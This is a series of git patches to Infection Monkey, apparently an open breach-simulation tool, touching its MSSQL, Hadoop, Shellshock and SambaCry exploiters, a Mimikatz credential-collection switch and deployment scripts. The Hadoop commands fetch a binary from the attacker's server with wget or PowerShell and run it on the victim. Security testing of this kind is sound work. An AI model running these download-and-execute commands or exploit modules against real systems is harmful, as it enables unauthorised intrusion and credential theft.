Date: Mon, 22 Oct 2018 16:34:23 +0300 Subject: [PATCH 10/89] cleared old files --- monkey/infection_monkey/exploit/__init__.py | 2 +- .../infection_monkey}/exploit/mssqlexec.py | 0 .../infection_monkey}/exploit/mssqlexec_utils.py | 0 3 files changed, 1 insertion(+), 1 deletion(-) rename {infection_monkey => monkey/infection_monkey}/exploit/mssqlexec.py (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/mssqlexec_utils.py (100%) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index bad6780eb..9ea2bcc75 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -45,4 +45,4 @@ from infection_monkey.exploit.elasticgroovy import ElasticGroovyExploiter from infection_monkey.exploit.struts2 import Struts2Exploiter from infection_monkey.exploit.weblogic import WebLogicExploiter from infection_monkey.exploit.hadoop import HadoopExploiter -from mssqlexec import MSSQLExploiter \ No newline at end of file +from infection_monkey.exploit.mssqlexec import MSSQLExploiter diff --git a/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py similarity index 100% rename from infection_monkey/exploit/mssqlexec.py rename to monkey/infection_monkey/exploit/mssqlexec.py diff --git a/infection_monkey/exploit/mssqlexec_utils.py b/monkey/infection_monkey/exploit/mssqlexec_utils.py similarity index 100% rename from infection_monkey/exploit/mssqlexec_utils.py rename to monkey/infection_monkey/exploit/mssqlexec_utils.py From 3e90b6d49585a22a1f919270d9236a6146b64efa Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 22 Oct 2018 17:09:57 +0300 Subject: [PATCH 11/89] fixed imports --- monkey/infection_monkey/exploit/mssqlexec.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 590741428..f527c1e73 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -3,8 +3,7 @@ import logging import pymssql -import mssqlexec_utils -from exploit import HostExploiter +from exploit import HostExploiter, mssqlexec_utils __author__ = 'Maor Rayzin' From f547b23ef84f4c24577d8f28b0b132d993ad6c0a Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 23 Oct 2018 11:50:24 +0300 Subject: [PATCH 12/89] imports fix --- monkey/infection_monkey/exploit/mssqlexec.py | 2 +- monkey/infection_monkey/exploit/mssqlexec_utils.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index f527c1e73..5c3c92600 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -3,7 +3,7 @@ import logging import pymssql -from exploit import HostExploiter, mssqlexec_utils +from infection_monkey.exploit import HostExploiter, mssqlexec_utils __author__ = 'Maor Rayzin' diff --git a/monkey/infection_monkey/exploit/mssqlexec_utils.py b/monkey/infection_monkey/exploit/mssqlexec_utils.py index 2089047bb..ab8b88e60 100644 --- a/monkey/infection_monkey/exploit/mssqlexec_utils.py +++ b/monkey/infection_monkey/exploit/mssqlexec_utils.py @@ -4,7 +4,7 @@ import logging import pymssql -from exploit.tools import get_interface_to_target +from infection_monkey.exploit.tools import get_interface_to_target from pyftpdlib.authorizers import DummyAuthorizer from pyftpdlib.handlers import FTPHandler from pyftpdlib.servers import FTPServer From 5ffd22433aec5ae96450b4955d1275a23613808b Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 21 Nov 2018 13:32:45 +0200 Subject: [PATCH 13/89] Hadoop windows fixed to be more reliable --- monkey/infection_monkey/exploit/hadoop.py | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 0605614ee..6c0180fb0 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -29,9 +29,18 @@ class HadoopExploiter(WebRCE): "&& wget -O %(monkey_path)s %(http_path)s " \ "; chmod +x %(monkey_path)s " \ "&& %(monkey_path)s %(monkey_type)s %(parameters)s" + + """ Command was observed to be unreliable, we use powershell instead WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \ " Update /download /priority high %(http_path)s %(monkey_path)s " \ "& %(monkey_path)s %(monkey_type)s %(parameters)s" + """ + + WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \ + "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \ + " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \ + "{& %(monkey_path)s %(monkey_type)s %(parameters)s } \"" + # How long we have our http server open for downloads in seconds DOWNLOAD_TIMEOUT = 60 # Random string's length that's used for creating unique app name @@ -46,6 +55,9 @@ class HadoopExploiter(WebRCE): self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: return False + # We can only upload 64bit version to windows for various reasons + if self.host.os['type'] == 'windows': + self.host.os['machine'] = '64' paths = self.get_monkey_paths() if not paths: return False From b48cb16088d4191e776ed8911f8374ac9d545a94 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 22 Nov 2018 19:45:13 +0200 Subject: [PATCH 14/89] Comment changed --- monkey/infection_monkey/exploit/hadoop.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 6c0180fb0..30925bc0f 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -55,7 +55,7 @@ class HadoopExploiter(WebRCE): self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: return False - # We can only upload 64bit version to windows for various reasons + # We assume hadoop is ran only on 64 bit windows if self.host.os['type'] == 'windows': self.host.os['machine'] = '64' paths = self.get_monkey_paths() From 8efed2de22c7d36413da712d4284d8b020013185 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 27 Nov 2018 18:33:08 +0200 Subject: [PATCH 15/89] Fix path that run.sh executes --- monkey/monkey_island/linux/run.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/linux/run.sh b/monkey/monkey_island/linux/run.sh index 6770e2922..c72b5f3b9 100644 --- a/monkey/monkey_island/linux/run.sh +++ b/monkey/monkey_island/linux/run.sh @@ -2,4 +2,4 @@ cd /var/monkey /var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db & -/var/monkey/monkey_island/bin/python/bin/python monkey_island/cc/main.py \ No newline at end of file +/var/monkey/monkey_island/bin/python/bin/python monkey_island.py \ No newline at end of file From db5e5eb45339b4c408da1c9a40b310c9c3f5aa75 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 29 Nov 2018 17:43:09 +0200 Subject: [PATCH 16/89] Commands moved to model --- monkey/infection_monkey/exploit/hadoop.py | 28 +++-------------------- monkey/infection_monkey/model/__init__.py | 12 +++++++++- 2 files changed, 14 insertions(+), 26 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 30925bc0f..881ccf39d 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -12,7 +12,7 @@ import posixpath from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth -from infection_monkey.model import MONKEY_ARG, ID_STRING +from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND __author__ = 'VakarisZ' @@ -22,25 +22,6 @@ LOG = logging.getLogger(__name__) class HadoopExploiter(WebRCE): _TARGET_OS_TYPE = ['linux', 'windows'] HADOOP_PORTS = [["8088", False]] - - # We need to prevent from downloading if monkey already exists because hadoop uses multiple threads/nodes - # to download monkey at the same time - LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \ - "&& wget -O %(monkey_path)s %(http_path)s " \ - "; chmod +x %(monkey_path)s " \ - "&& %(monkey_path)s %(monkey_type)s %(parameters)s" - - """ Command was observed to be unreliable, we use powershell instead - WINDOWS_COMMAND = "cmd /c if NOT exist %(monkey_path)s bitsadmin /transfer" \ - " Update /download /priority high %(http_path)s %(monkey_path)s " \ - "& %(monkey_path)s %(monkey_type)s %(parameters)s" - """ - - WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \ - "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \ - " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \ - "{& %(monkey_path)s %(monkey_type)s %(parameters)s } \"" - # How long we have our http server open for downloads in seconds DOWNLOAD_TIMEOUT = 60 # Random string's length that's used for creating unique app name @@ -55,9 +36,6 @@ class HadoopExploiter(WebRCE): self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: return False - # We assume hadoop is ran only on 64 bit windows - if self.host.os['type'] == 'windows': - self.host.os['machine'] = '64' paths = self.get_monkey_paths() if not paths: return False @@ -91,9 +69,9 @@ class HadoopExploiter(WebRCE): # Build command to execute monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1) if 'linux' in self.host.os['type']: - base_command = self.LINUX_COMMAND + base_command = HADOOP_LINUX_COMMAND else: - base_command = self.WINDOWS_COMMAND + base_command = HADOOP_WINDOWS_COMMAND return base_command % {"monkey_path": path, "http_path": http_path, "monkey_type": MONKEY_ARG, "parameters": monkey_cmd} diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index f2217623a..35a63f2a2 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -28,4 +28,14 @@ CHECK_COMMAND = "echo %s" % ID_STRING GET_ARCH_WINDOWS = "wmic os get osarchitecture" GET_ARCH_LINUX = "lscpu" -DOWNLOAD_TIMEOUT = 300 \ No newline at end of file +# All in one commands (upload, change permissions, run) +HADOOP_WINDOWS_COMMAND = "powershell -NoLogo -Command \"if (!(Test-Path '%(monkey_path)s')) { " \ + "Invoke-WebRequest -Uri '%(http_path)s' -OutFile '%(monkey_path)s' -UseBasicParsing }; " \ + " if (! (ps | ? {$_.path -eq '%(monkey_path)s'})) " \ + "{& %(monkey_path)s %(monkey_type)s %(parameters)s } \"" +HADOOP_LINUX_COMMAND = "! [ -f %(monkey_path)s ] " \ + "&& wget -O %(monkey_path)s %(http_path)s " \ + "; chmod +x %(monkey_path)s " \ + "&& %(monkey_path)s %(monkey_type)s %(parameters)s" + +DOWNLOAD_TIMEOUT = 300 From d92db8effda3f3b25cefbcc141a0cb79b03e8ca4 Mon Sep 17 00:00:00 2001 From: Ace Pace Date: Fri, 30 Nov 2018 21:57:20 +0200 Subject: [PATCH 17/89] Replace strncat with single snprintf call --- .../sambacry_monkey_runner/sc_monkey_runner.c | 30 +++++++++---------- 1 file changed, 14 insertions(+), 16 deletions(-) diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c b/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c index 65684fbf2..91f529e9c 100644 --- a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c +++ b/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.c @@ -32,7 +32,7 @@ int samba_init_module(void) const char RUN_MONKEY_CMD[] = "./"; const char MONKEY_DEST_FOLDER[] = "/tmp"; const char MONKEY_DEST_NAME[] = "monkey"; - + int found = 0; char modulePathLine[LINE_MAX_LENGTH] = {'\0'}; char commandline[LINE_MAX_LENGTH] = {'\0'}; @@ -43,22 +43,22 @@ int samba_init_module(void) int monkeySize = 0; void* monkeyBinary = NULL; struct stat fileStats; - + pid = fork(); - + if (0 != pid) { // error or this is parent - nothing to do but return. return 0; } - + // Find fullpath of running module. pFile = fopen("/proc/self/maps", "r"); if (NULL == pFile) { return 0; } - + while (fgets(modulePathLine, LINE_MAX_LENGTH, pFile) != NULL) { fileNamePointer = strstr(modulePathLine, RUNNER_FILENAME); if (fileNamePointer != NULL) { @@ -66,44 +66,42 @@ int samba_init_module(void) break; } } - + fclose(pFile); - + // We can't find ourselves in module list if (0 == found) { return 0; } - + monkeyDirectory = strchr(modulePathLine, '/'); *fileNamePointer = '\0'; - + if (0 != chdir(monkeyDirectory)) { return 0; } - + // Write file to indicate we're running pFile = fopen(RUNNER_RESULT_FILENAME, "w"); if (NULL == pFile) { return 0; } - + fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile); fclose(pFile); - + // Read commandline pFile = fopen(COMMANDLINE_FILENAME, "r"); if (NULL == pFile) { return 0; } - + // Build commandline - strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1); - strncat(commandline, MONKEY_DEST_NAME, sizeof(MONKEY_DEST_NAME) - 1); - strncat(commandline, " ", 1); + snprintf(commandline, sizeof(commandline), "%s%s ", RUN_MONKEY_CMD, MONKEY_DEST_NAME); fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile); fclose(pFile); From 6d0805beb16548dc84860ca1b4c50b92c3b29aa9 Mon Sep 17 00:00:00 2001 From: Ace Pace Date: Sat, 1 Dec 2018 21:32:17 +0200 Subject: [PATCH 18/89] newline at end of file --- .../monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h b/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h index 86db653c8..85300310f 100644 --- a/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h +++ b/monkey/infection_monkey/monkey_utils/sambacry_monkey_runner/sc_monkey_runner.h @@ -4,4 +4,4 @@ extern int samba_init_module(void); extern int init_samba_module(void); -#endif // monkey_runner_h__ \ No newline at end of file +#endif // monkey_runner_h__ From 841ad289736813aaf0ad54b7f9ff9f91d4ab2219 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 2 Dec 2018 16:12:10 +0200 Subject: [PATCH 19/89] Add netstat --- .../infection_monkey/system_info/__init__.py | 11 +++-- .../system_info/netstat_collector.py | 44 +++++++++++++++++++ .../system_info/windows_info_collector.py | 2 +- 3 files changed, 53 insertions(+), 4 deletions(-) create mode 100644 monkey/infection_monkey/system_info/netstat_collector.py diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py index e3892abac..56d7fca8b 100644 --- a/monkey/infection_monkey/system_info/__init__.py +++ b/monkey/infection_monkey/system_info/__init__.py @@ -8,6 +8,7 @@ from enum import IntEnum from infection_monkey.network.info import get_host_subnets from infection_monkey.system_info.aws_collector import AwsCollector from infection_monkey.system_info.azure_cred_collector import AzureCollector +from infection_monkey.system_info.netstat_collector import NetstatCollector LOG = logging.getLogger(__name__) @@ -107,12 +108,16 @@ class InfoCollector(object): def get_network_info(self): """ Adds network information from the host to the system information. - Currently updates with a list of networks accessible from host, - containing host ip and the subnet range. + Currently updates with netstat and a list of networks accessible from host + containing host ip and the subnet range :return: None. Updates class information """ LOG.debug("Reading subnets") - self.info['network_info'] = {'networks': get_host_subnets()} + self.info['network_info'] =\ + { + 'networks': get_host_subnets(), + 'netstat': NetstatCollector.get_netstat_info() + } def get_azure_info(self): """ diff --git a/monkey/infection_monkey/system_info/netstat_collector.py b/monkey/infection_monkey/system_info/netstat_collector.py new file mode 100644 index 000000000..361bf0d81 --- /dev/null +++ b/monkey/infection_monkey/system_info/netstat_collector.py @@ -0,0 +1,44 @@ +# Inspired by Giampaolo Rodola's psutil example from https://github.com/giampaolo/psutil/blob/master/scripts/netstat.py + +import logging +import psutil +import socket + +from socket import AF_INET, SOCK_STREAM, SOCK_DGRAM + +__author__ = 'itay.mizeretz' + +LOG = logging.getLogger(__name__) + + +class NetstatCollector(object): + """ + Extract netstat info + """ + + AF_INET6 = getattr(socket, 'AF_INET6', object()) + + proto_map = { + (AF_INET, SOCK_STREAM): 'tcp', + (AF_INET6, SOCK_STREAM): 'tcp6', + (AF_INET, SOCK_DGRAM): 'udp', + (AF_INET6, SOCK_DGRAM): 'udp6', + } + + @staticmethod + def get_netstat_info(): + LOG.info("Collecting netstat info") + return [NetstatCollector._parse_connection(c) for c in psutil.net_connections(kind='inet')] + + @staticmethod + def _parse_connection(c): + return \ + { + 'proto': NetstatCollector.proto_map[(c.family, c.type)], + 'local_address': c.laddr[0], + 'local_port': c.laddr[1], + 'remote_address': c.raddr[0] if c.raddr else None, + 'remote_port': c.raddr[1] if c.raddr else None, + 'status': c.status, + 'pid': c.pid + } diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index fb2261572..ced13de4e 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -2,7 +2,7 @@ import os import logging import sys -sys.coinit_flags = 0 # needed for proper destruction of the wmi python module +sys.coinit_flags = 0 # needed for proper destruction of the wmi python module import infection_monkey.config from infection_monkey.system_info.mimikatz_collector import MimikatzCollector From cc27b5dd208a70a628852e518c8f837bf0757de0 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 4 Dec 2018 10:06:48 +0200 Subject: [PATCH 20/89] Actually use mimikatz configuration variable --- monkey/infection_monkey/system_info/windows_info_collector.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index fb2261572..93e160a93 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -55,6 +55,9 @@ class WindowsInfoCollector(InfoCollector): LOG.debug('finished get_wmi_info') def get_mimikatz_info(self): + from infection_monkey.config import WormConfiguration + if not WormConfiguration.should_use_mimikatz: + return mimikatz_collector = MimikatzCollector() mimikatz_info = mimikatz_collector.get_logon_info() if mimikatz_info: From f8f948439ce4526fabbf98c07449b2a4772c03c8 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Tue, 4 Dec 2018 10:09:55 +0200 Subject: [PATCH 21/89] Also add to example conf file --- monkey/infection_monkey/example.conf | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index 4e608f72f..0779301d2 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -16,6 +16,7 @@ "alive": true, "collect_system_info": true, "extract_azure_creds": true, + "should_use_mimikatz": true, "depth": 2, "dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll", From 61f040ef6fc4956183b0c4a3c81960954eca5307 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 5 Dec 2018 13:59:33 +0200 Subject: [PATCH 22/89] Moved the check to a top level function. --- .../system_info/windows_info_collector.py | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 93e160a93..1348a6fcb 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -2,7 +2,7 @@ import os import logging import sys -sys.coinit_flags = 0 # needed for proper destruction of the wmi python module +sys.coinit_flags = 0 # needed for proper destruction of the wmi python module import infection_monkey.config from infection_monkey.system_info.mimikatz_collector import MimikatzCollector @@ -38,7 +38,9 @@ class WindowsInfoCollector(InfoCollector): super(WindowsInfoCollector, self).get_info() self.get_wmi_info() self.get_installed_packages() - self.get_mimikatz_info() + from infection_monkey.config import WormConfiguration + if WormConfiguration.should_use_mimikatz: + self.get_mimikatz_info() return self.info @@ -55,9 +57,6 @@ class WindowsInfoCollector(InfoCollector): LOG.debug('finished get_wmi_info') def get_mimikatz_info(self): - from infection_monkey.config import WormConfiguration - if not WormConfiguration.should_use_mimikatz: - return mimikatz_collector = MimikatzCollector() mimikatz_info = mimikatz_collector.get_logon_info() if mimikatz_info: From efde6d16433189f7a93a8a93a9d844cbbf1f89b4 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 6 Dec 2018 15:41:29 +0200 Subject: [PATCH 23/89] Shellshock exception handling --- monkey/infection_monkey/exploit/shellshock.py | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index b268371be..23880589a 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -202,8 +202,17 @@ class ShellShockExploiter(HostExploiter): if is_https: attack_path = 'https://' attack_path = attack_path + str(host) + ":" + str(port) + reqs = [] + timeout = False attack_urls = [attack_path + url for url in url_list] - reqs = [requests.head(u, verify=False, timeout=TIMEOUT) for u in attack_urls] + for u in attack_urls: + try: + reqs.append(requests.head(u, verify=False, timeout=TIMEOUT)) + except requests.Timeout: + timeout = True + continue + if timeout: + LOG.debug("Some connections timed out while sending request to potentially vulnerable urls.") valid_resps = [req for req in reqs if req and req.status_code == requests.codes.ok] urls = [resp.url for resp in valid_resps] From 24619aa38fe054f761e057aa8c5b21184cb30b2e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 10 Dec 2018 13:08:59 +0200 Subject: [PATCH 24/89] Deployment scripts added to the repository --- README.md | 3 +- deployment_scripts/README.md | 21 +++ deployment_scripts/config | 19 +++ deployment_scripts/config.ps1 | 48 ++++++ deployment_scripts/deploy_linux.sh | 146 +++++++++++++++++ deployment_scripts/deploy_windows.ps1 | 215 ++++++++++++++++++++++++++ deployment_scripts/run_script.bat | 8 + monkey/infection_monkey/readme.txt | 3 +- monkey/monkey_island/readme.txt | 3 + 9 files changed, 464 insertions(+), 2 deletions(-) create mode 100644 deployment_scripts/README.md create mode 100644 deployment_scripts/config create mode 100644 deployment_scripts/config.ps1 create mode 100644 deployment_scripts/deploy_linux.sh create mode 100644 deployment_scripts/deploy_windows.ps1 create mode 100644 deployment_scripts/run_script.bat diff --git a/README.md b/README.md index 841eb6ccb..a53eb9c5b 100644 --- a/README.md +++ b/README.md @@ -44,7 +44,8 @@ Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in t Building the Monkey from source ------------------------------- -If you want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself) +To deploy development version of monkey you should refer to readme in the [deployment scripts](deployment_scripts) folder. +If you only want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself) and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island). diff --git a/deployment_scripts/README.md b/deployment_scripts/README.md new file mode 100644 index 000000000..e37c34b0e --- /dev/null +++ b/deployment_scripts/README.md @@ -0,0 +1,21 @@ +# Files used to deploy development version of infection monkey +On windows:
    +Before running the script you must have git installed.
    +Cd to scripts directory and use the scripts.
    +First argument is an empty directory (script can create one) and second is branch you want to clone. +Example usages:
    +./run_script.bat (Sets up monkey in current directory under .\infection_monkey)
    +./run_script.bat "C:\test" (Sets up monkey in C:\test)
    +powershell -ExecutionPolicy ByPass -Command ". .\deploy_windows.ps1; Deploy-Windows -monkey_home C:\test" (Same as above)
    +./run_script.bat "" "master"(Sets up master branch instead of develop in current dir) +Don't forget to add python to PATH or do so while installing it via this script.
    + +On Linux:
    +You must have root permissions, but don't run the script as root.
    +Launch deploy_linux.sh from scripts directory.
    +First argument is an empty directory (script can create one) and second is branch you want to clone. +Example usages:
    +./deploy_linux.sh (deploys under ./infection_monkey)
    +./deploy_linux.sh "/home/test/monkey" (deploys under /home/test/monkey)
    +./deploy_linux.sh "" "master" (deploys master branch in script directory)
    +./deploy_linux.sh "/home/user/new" "master" (if directory "new" is not found creates it and clones master branch into it)
    \ No newline at end of file diff --git a/deployment_scripts/config b/deployment_scripts/config new file mode 100644 index 000000000..bb10ed105 --- /dev/null +++ b/deployment_scripts/config @@ -0,0 +1,19 @@ +#!/usr/bin/env bash +# Absolute monkey's path +MONKEY_FOLDER_NAME="infection_monkey" +# Url of public git repository that contains monkey's source code +MONKEY_GIT_URL="https://github.com/guardicore/monkey" + +# Monkey binaries +LINUX_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-32" +LINUX_32_BINARY_NAME="monkey-linux-32" +LINUX_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-64" +LINUX_64_BINARY_NAME="monkey-linux-64" +WINDOWS_32_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-32.exe" +WINDOWS_32_BINARY_NAME="monkey-windows-32.exe" +WINDOWS_64_BINARY_URL="https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-64.exe" +WINDOWS_64_BINARY_NAME="monkey-windows-64.exe" + +# Mongo url's +MONGO_DEBIAN_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz" +MONGO_UBUNTU_URL="https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz" diff --git a/deployment_scripts/config.ps1 b/deployment_scripts/config.ps1 new file mode 100644 index 000000000..24a8d3322 --- /dev/null +++ b/deployment_scripts/config.ps1 @@ -0,0 +1,48 @@ +# Absolute monkey's path +$MONKEY_FOLDER_NAME = "infection_monkey" +# Url of public git repository that contains monkey's source code +$MONKEY_GIT_URL = "https://github.com/guardicore/monkey" +# Link to the latest python download or install it manually +$PYTHON_URL = "https://www.python.org/ftp/python/2.7.13/python-2.7.13.amd64.msi" + +# Monkey binaries +$LINUX_32_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-32" +$LINUX_32_BINARY_PATH = "monkey-linux-32" +$LINUX_64_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-linux-64" +$LINUX_64_BINARY_PATH = "monkey-linux-64" +$WINDOWS_32_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-32.exe" +$WINDOWS_32_BINARY_PATH = "monkey-windows-32.exe" +$WINDOWS_64_BINARY_URL = "https://github.com/guardicore/monkey/releases/download/1.6/monkey-windows-64.exe" +$WINDOWS_64_BINARY_PATH = "monkey-windows-64.exe" +$SAMBA_32_BINARY_URL = "https://github.com/VakarisZ/tempBinaries/raw/master/sc_monkey_runner32.so" +$SAMBA_32_BINARY_NAME= "sc_monkey_runner32.so" +$SAMBA_64_BINARY_URL = "https://github.com/VakarisZ/tempBinaries/raw/master/sc_monkey_runner64.so" +$SAMBA_64_BINARY_NAME = "sc_monkey_runner64.so" + +# Other directories and paths ( most likely you dont need to configure) +$MONKEY_ISLAND_DIR = "\monkey\monkey_island" +$MONKEY_DIR = "\monkey\infection_monkey" +$SAMBA_BINARIES_DIR = Join-Path -Path $MONKEY_DIR -ChildPath "\monkey_utils\sambacry_monkey_runner" +$PYTHON_DLL = "C:\Windows\System32\python27.dll" +$MK32_DLL = "mk32.dll" +$MK64_DLL = "mk64.dll" +$TEMP_PYTHON_INSTALLER = ".\python.msi" +$TEMP_MONGODB_ZIP = ".\mongodb.zip" +$TEMP_OPEN_SSL_ZIP = ".\openssl.zip" +$TEMP_CPP_INSTALLER = "cpp.exe" +$TEMP_NPM_INSTALLER = "node.msi" +$TEMP_PYWIN32_INSTALLER = "pywin32.exe" +$TEMP_UPX_ZIP = "upx.zip" +$TEMP_VC_FOR_PYTHON27_INSTALLER = "vcforpython.msi" +$UPX_FOLDER = "upx394w" + +# Other url's +$VC_FOR_PYTHON27_URL = "https://download.microsoft.com/download/7/9/6/796EF2E4-801B-4FC4-AB28-B59FBF6D907B/VCForPython27.msi" +$MONGODB_URL = "https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip" +$OPEN_SSL_URL = "https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip" +$CPP_URL = "https://go.microsoft.com/fwlink/?LinkId=746572" +$NPM_URL = "https://nodejs.org/dist/v10.13.0/node-v10.13.0-x64.msi" +$PYWIN32_URL = "https://github.com/mhammond/pywin32/releases/download/b224/pywin32-224.win-amd64-py2.7.exe" +$UPX_URL = "https://github.com/upx/upx/releases/download/v3.94/upx394w.zip" +$MK32_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk32.dll" +$MK64_DLL_URL = "https://github.com/guardicore/mimikatz/releases/download/1.1.0/mk64.dll" diff --git a/deployment_scripts/deploy_linux.sh b/deployment_scripts/deploy_linux.sh new file mode 100644 index 000000000..01a4f4780 --- /dev/null +++ b/deployment_scripts/deploy_linux.sh @@ -0,0 +1,146 @@ +#!/bin/bash +source config + +# Setup monkey either in dir required or current dir +monkey_home=${1:-`pwd`} +if [[ $monkey_home == `pwd` ]]; then + monkey_home="$monkey_home/$MONKEY_FOLDER_NAME" +fi + +# We can set main paths after we know the home dir +ISLAND_PATH="$monkey_home/monkey/monkey_island" +MONKEY_COMMON_PATH="$monkey_home/monkey/common/" +MONGO_PATH="$ISLAND_PATH/bin/mongodb" 